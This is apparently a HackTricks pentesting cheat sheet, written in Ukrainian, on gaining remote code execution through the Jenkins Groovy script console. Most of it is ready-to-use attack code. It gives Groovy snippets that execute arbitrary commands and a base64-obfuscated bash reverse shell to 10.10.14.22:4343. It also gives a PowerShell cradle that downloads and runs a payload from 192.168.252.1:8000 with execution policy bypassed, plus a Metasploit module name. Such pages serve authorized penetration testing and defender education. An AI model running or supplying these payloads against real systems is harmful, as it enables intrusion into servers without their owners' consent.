Jenkins RCE with Groovy Script

Support HackTricks

Jenkins RCE with Groovy Script

Це менш шумно, ніж створення нового проекту в Jenkins

  1. Перейдіть до path_jenkins/script

  2. Введіть скрипт у текстове поле

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Ви можете виконати команду, використовуючи: cmd.exe /c dir

В linux ви можете зробити: "ls /".execute().text

Якщо вам потрібно використовувати цитати та одинарні цитати всередині тексту, ви можете використовувати """PAYLOAD""" (три подвійні лапки) для виконання корисного навантаження.

Ще один корисний groovy скрипт це (замініть [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Зворотний шелл у Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Зворотний шелл у Windows

Ви можете підготувати HTTP сервер з PS зворотним шеллом і використовувати Jeking для його завантаження та виконання:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Ви можете автоматизувати цей процес за допомогою цього скрипта.

Ви можете використовувати MSF для отримання зворотного шеллу:

msf> use exploit/multi/http/jenkins_script_console
Підтримайте HackTricks

Last updated